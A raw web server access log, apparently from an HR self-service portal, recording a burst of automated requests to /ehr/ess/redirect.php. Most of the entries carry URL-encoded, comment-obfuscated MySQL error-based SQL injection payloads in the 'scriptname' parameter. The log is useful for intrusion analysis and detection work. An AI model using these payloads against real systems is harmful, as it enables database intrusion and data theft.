100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7a354a57%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35547068%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2FTCIS&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7a354a57%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35547068%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2FTCIS&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x304b6f37%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3150525a%29%2C6420%29%23%2F%2A%2A%2FCteJ&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x304b6f37%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3150525a%29%2C6420%29%23%2F%2A%2A%2FCteJ&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x424e3031%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65434377%29%29%23%2F%2A%2A%2FsPfo&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x424e3031%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65434377%29%29%23%2F%2A%2A%2FsPfo&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x324f7039%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a6d7737%29%2C6420%29%23%2F%2A%2A%2FCHQH&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x324f7039%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a6d7737%29%2C6420%29%23%2F%2A%2A%2FCHQH&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x66383232%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39387677%29%29%23%2F%2A%2A%2FpZIG&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x66383232%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39387677%29%29%23%2F%2A%2A%2FpZIG&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x35583377%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33374337%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FnMis&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x35583377%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33374337%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FnMis&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x72356462%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42303378%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FfWR9&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x72356462%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42303378%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FfWR9&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x76753131%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33586b53%29%29x%29%29%23%2F%2A%2A%2FmlD3&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x76753131%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33586b53%29%29x%29%29%23%2F%2A%2A%2FmlD3&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x59617647%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70556437%29%29x%29%29%23%2F%2A%2A%2FEoNk&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x59617647%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70556437%29%29x%29%29%23%2F%2A%2A%2FEoNk&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x7172614f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7446486f%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FMB3U&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x7172614f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7446486f%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FMB3U&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x304b6f37%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x3150525a%29%2C6420%29%23%2F%2A%2A%2FCteJ&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7a354a57%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x35547068%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29%23%2F%2A%2A%2FTCIS&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x424e3031%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65434377%29%29%23%2F%2A%2A%2FsPfo&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x324f7039%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7a6d7737%29%2C6420%29%23%2F%2A%2A%2FCHQH&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x72356462%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42303378%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FfWR9&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x66383232%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x39387677%29%29%23%2F%2A%2A%2FpZIG&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x35583377%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33374337%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29%23%2F%2A%2A%2FnMis&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x76753131%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x33586b53%29%29x%29%29%23%2F%2A%2A%2FmlD3&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x59617647%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x70556437%29%29x%29%29%23%2F%2A%2A%2FEoNk&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249 "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723&scriptname=view_flowchart%2F%2A%2A%2F%29%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x7172614f%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x7446486f%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29%23%2F%2A%2A%2FMB3U&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess HTTP/1.1" 301 249
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806 "http://hcp.maglayers.com.cn:8088/ehr/ess" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
100.64.0.1 - - [07/Sep/2025:02:22:54 +0800] "GET /ehr/ess/ HTTP/1.1" 200 8806
